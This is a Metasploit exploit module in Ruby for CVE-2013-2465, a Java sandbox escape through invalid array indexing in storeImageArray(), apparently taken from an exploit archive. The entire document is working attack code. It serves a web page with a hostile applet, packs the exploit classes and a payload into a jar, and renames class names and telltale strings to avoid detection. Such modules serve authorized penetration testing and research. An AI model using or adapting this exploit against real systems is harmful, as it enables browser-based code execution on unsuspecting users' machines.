Java – ‘storeImageArray()’ Invalid Array Indexing (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability', 'Description' => %q{ This module abuses an Invalid Array Indexing Vulnerability on the static function storeImageArray() function in order to produce a memory corruption and finally escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn't bypass click2play, has been tested successfully on Java 7u21 on Windows and Linux systems. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # From PacketStorm 'sinn3r', # Metasploit 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2013-2465' ], [ 'OSVDB', '96269' ], [ 'EDB', '27526' ], [ 'URL', 'http://packetstormsecurity.com/files/122777/' ], [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ] ], 'Platform' => [ 'java', 'win', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 12 2013' )) end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class") @color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class") @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) @color_model_class_name = rand_text_alpha("MyColorModel".length) @color_space_class_name = rand_text_alpha("MyColorSpace".length) @exploit_class.gsub!("Exploit", @exploit_class_name) @exploit_class.gsub!("MyColorModel", @color_model_class_name) @exploit_class.gsub!("MyColorSpace", @color_space_class_name) @color_model_class.gsub!("Exploit", @exploit_class_name) @color_model_class.gsub!("MyColorModel", @color_model_class_name) @color_model_class.gsub!("MyColorSpace", @color_space_class_name) @color_space_class.gsub!("Exploit", @exploit_class_name) @color_space_class.gsub!("MyColorModel", @color_model_class_name) @color_space_class.gsub!("MyColorSpace", @color_space_class_name) super end def on_request_uri( cli, request ) print_debug("Requesting: #{request.uri}") if request.uri !~ /\.jar$/i if not request.uri =~ /\/$/ print_status("Sending redirect...") send_redirect(cli, "#{get_resource}/", '') return end print_status("Sending HTML...") send_response_html(cli, generate_html, {'Content-Type'=>'text/html'}) return end print_status("Sending .jar file...") send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'}) handler( cli ) end def generate_html jar_name = rand_text_alpha(5+rand(3)) html = %Q|<html> <head> </head> <body> <applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000"> </applet> </body> </html> | html = html.gsub(/^\t\t/, '') return html end def generate_jar(cli) p = regenerate_payload(cli) jar = p.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class) jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest return jar.pack end end |